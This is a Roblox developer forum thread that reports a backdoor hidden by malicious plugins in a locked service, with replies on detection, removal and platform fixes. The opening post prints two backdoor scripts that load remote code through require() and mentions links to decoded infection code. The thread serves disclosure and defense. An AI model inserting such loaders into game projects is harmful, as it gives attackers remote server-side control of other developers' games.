(New removal plugin!) SirHurt server-side backdoor location "CSGDictionaryService" inaccessable outside of the place xml file

(NEW: Plugin created for automated removal/reparenting of this infection! Hidden/Infection Script Detector - Roblox)
Shoutout to Dekkonot for making me aware of “GetDescendants” which made the creation of this plugin possible!

I recently looked into reports of server-side script injection exploitation at a game I occasionally assist in development and it intrigued me as the game is FilteringEnabled as well as the developers who worked on it were quite thorough on security. After a long time searching and testing I found the culprit was a backdoor installed by an infected plugin (the offending plugin is unknown at this time) and so I began searching for the backdoor script. After a lengthy search which ultimately resulted in me deleting everything visible in studio’s explorer, saving the game as a file, and reuploading to a new place only to find the infection still was there. This confirmed the infection was in a location non-viewable and inaccessible to both studio explorer and command bar (as I had made and been running numerous search scripts.) Once I learned of this I saved the place to xml, opened it in a text editor, and began reading. Thankfully before long I came across the culprit and began attempting to build a plugin to remove the infection from any game with it. I soon found that the area the infection was placed into is level 6 access restricted (and the documentation stating that plugins have level 6 is inaccurate as plugins only have level 5 access) so the only way to remove this infection is by altering the xml save file in a text editor and reuploading it. This poses a serious issue as most places don’t know they are infected and have no way to find out other than thorough investigation only to either never find the source (a bad plugin) or never find the backdoor (inaccessable to everything except the place saved in xml format opened in a text editor.) At the very least I’d like to request ROBLOX fix plugin access level to be capable of indexing and reading the children of a level 6 protected asset so an open-source plugin for removing this infection can be distributed. Preferably this service and/or it’s children also would not publish into the game via studio. Below are related links and the backdoor scripts hidden inside the “CSGDictionaryService” as well as the xml and a sample infected place save file.

Place Infection XML excerpt “CSGDictionaryService”: InfectedPlaceExcerpt.txt (19.0 KB)

Infected place xml save file: InfectedPlace.rbxlx (36.0 KB)

Backdoor scripts inserted by malicious plugins:

–Script 1

spawn(function()
    game:WaitForChild("ServerScriptService")
    if game:GetService("Workspace").Terrain:FindFirstChild("CallF")then return end;
    if game:GetService("RunService"):IsStudio()then return end;
    pcall(function()
        require(2655056793).load(game.PlaceId)
    end)
end)

–Script 2

marketplaceService = game:GetService("MarketplaceService") 
productInfo = marketplaceService:GetProductInfo(2655062037) 
modulefunc = productInfo.Description 
modulefunc = tonumber(string.match(modulefunc, "%d+")) 

require(modulefunc)[tostring(productInfo.Name)](game.PlaceId)

This grants anyone who purchases the exploit to execute server-side code at any infected place. The exploited in code also sends a HttpService request to the exploiter creator’s webservers which marks the place as infected and places it in a list for the users of said exploit to pick through and terrorize at will.

Edit: I have been informed by one of the devs involved that this was the offending plugin: [ Content Deleted ] - Roblox

(and just in case the plugin creator attempts to update it to remove the infection I have a copy saved here: 3bc2897e11825866ad1a687005730a09.rbxm (62.5 KB) )

…or if you just want the code that actually inserts the malicious scripts into the CSGDictionaryService I put it here: SirHurt plugin infection code - Pastebin.com

Edit 2: I went ahead and decoded the actual infection script from the infected plugin. Now I give it to you all for your viewing/reading pleasure :grin: Decrypted Infection Script - Pastebin.com (The data variable in the infection script also included some garbled nonsense that I assume is a function dump but the actual infection code is what I put into the post.)

20 Likes

If plugins cannot access this location, how did an infected plugin put something there in the first place?

1 Like

You can parent objects into RobloxLocked locations, but you can’t access them afterwards. It’s silly but it’s fairly effective. The only removal method we’ve found so far is literally to just edit the XML.

8 Likes

That’s a bit worrying. Perhaps roblox should have a way for popular plugins to get Verified, kinda like how models have “EndorsedModel” icon.

6 Likes

I have a existing feature request for that and other asset types here, if you want to add anything I missed

In response to the op it is very strange that plugins can just inject code that can only be removed with xml editing, that should probably be fixed

1 Like

That’s not great. You may want to make a more structured exploit report for this because CSGDictionaryService isn’t the only RobloxLocked service around and not being able to remove this stuff is… Bad.

Perhaps though I think the gist of the issue is conveyed in this report. The paragraph is to show the frustration this problem causes and when the admin reads this they will understand the underlying issue and hopefully make a fix that would apply to all level 6 protected services (or just take CSGDictionaryService and any other inaccessible services whose children don’t matter/shouldn’t be changed not uploaded to the live game.) The report gives sufficient information for the admins to understand the problem and it’s seriously potential for abuse along with quite a bit of proof of pre-existing abuse of said problems.

Oh that’s terrible. I hope this gets fixed early in the new year.

On a side note, I can confirm the plugin (class converter) is super shady. From a very quick look, the whole plugin seems to be fine besides one clearly suspicious script called “SET”, which makes me believe this plugin was even stolen, only to add this script to it. Opening it lags the script view in it so bad that I can’t even look through the script.

Yeah that looks to literally just be Quenty’s class converter but stolen (going off of thumbnail alone because I’m not loading that thing onto my client)

EDIT: It’s not Quenty’s, it’s call23re2’s. Sorry! :sweat_smile:

1 Like

There’s a lot of shady plugins like this containing what was originally mentioned in the post or containing malicious obfuscated code making it to the front of the plugins page. They all look genuine which makes it worse. Possibly botted?

Something needs to be done regarding plugins such as this as soon as possible, as many people who aren’t familiar with the plugins page and what to look out for WILL fall for it sooner or later.

It’s completely undetectable if you aren’t specifically looking for it in the XML, which is worrying.

Not entirely true. The way I knew something was still there was the dev console Network logs. I noticed the HttpService request to the exploiter’s website in there which told me the infection was still hidden in the game. Once I deleted literally everything and the infection persisted I knew it had to be somewhere neither I nor my scanner code could access/view (Which would require hiding inside something that’s access level 6+ in order to evade my scanner code.) You can detect the infection in-game fairly easily through multiple means (especially once you find the source code of said infection) and even disable/break the backdoor but finding the true backdoor injection script listed above is the real pain.

Bad wording on my part - to actually disable/find the exact malicious code you had to scroll through the XML.
If they properly pcalled it to prevent errors and didn’t post to HTTP? It’d be undetectable.

The specific backdoor we located might be detectable, but this exploit is effectively impossible to detect through any in-game or in-studio means.

Undectable if you don’t look in the XML, yes. You can gather that something shady is going on though if you dig through the plugin’s Lua scripts however.

Scary part is if you’re in a teamcreate and one person has the plugin - nobody knows.

1 Like

The only thing I want to know, is why in the world is the CommandBar below the Plugin security identity?

I’ll look into writing a plugin for this as I think a few of my places are infected by it.

EDIT
Security identities on the old Roblox wiki are outdated.

1 Like

On the good side, support for private modules is being discontinued, so any infected assets will need to insert raw code to be able to function as intended and flushing out the culprit may not be as difficult. On the other hand however, the very fact that something can be inserted in this manner is concerning: especially when the only way to remove it is not easily accessible or understandable by all developers.

People go to some lengths to get a cheap kick, don’t they?

I had mentioned this in the post. When I just looked up the list I did notice that the security context page is not official. (It’s on a user’s self-created page by Anaminus) though creating a plugin to clean the infection was my first thought as well. Unfortunately I hit the same access level insufficient error that you did which is what prompted the creation of this post.

1 Like

Oh, my apologies.

I tend to skip over large paragraphs of text, skimming through them. It’s a habit I’ve gotten into over the years, and is something I should get out of probably.

My apologies. :stuck_out_tongue:

I’ve decided to go ahead and take a closer look at this.

Turns out, you can actually get a list of all Instances in any given game that require an unusual identity to access using pcall and GetDescendants. That’s not very useful on its own, but you can actually use Selection::Set to get all of those item selected (or any list of them). You can then just delete them like you would any other selected items. I wouldn’t recommend doing this for all of them because this list includes the descendants of CorePackages, which should really not be tampered with, but if something has a conspicuous name, I would check it out.

In this instance (I’m using a modified ReflectionMetadata to let me better mess around with this), the names are very suspicious and could easily be removed with this method.

That being said, all it would take is naming it something seemingly normal like Value and this method would fail without a visual representation.

My recommendation would be to make it so anything that isn’t supposed to be there makes the service show up in Explorer regardless of what it is. That would solve this problem now and forever.

In the meantime, here’s a convenient plugin I made to just select things that aren’t meant to be there so they can be more closely inspected (and deleted) in the Properties menu. It’s relatively simple but it should work to identify and clean up stuff like this.

EDIT: There are errors that pop up when you select something like this but they’re from other plugins or built-in plugins so there’s not much I can do about them.

6 Likes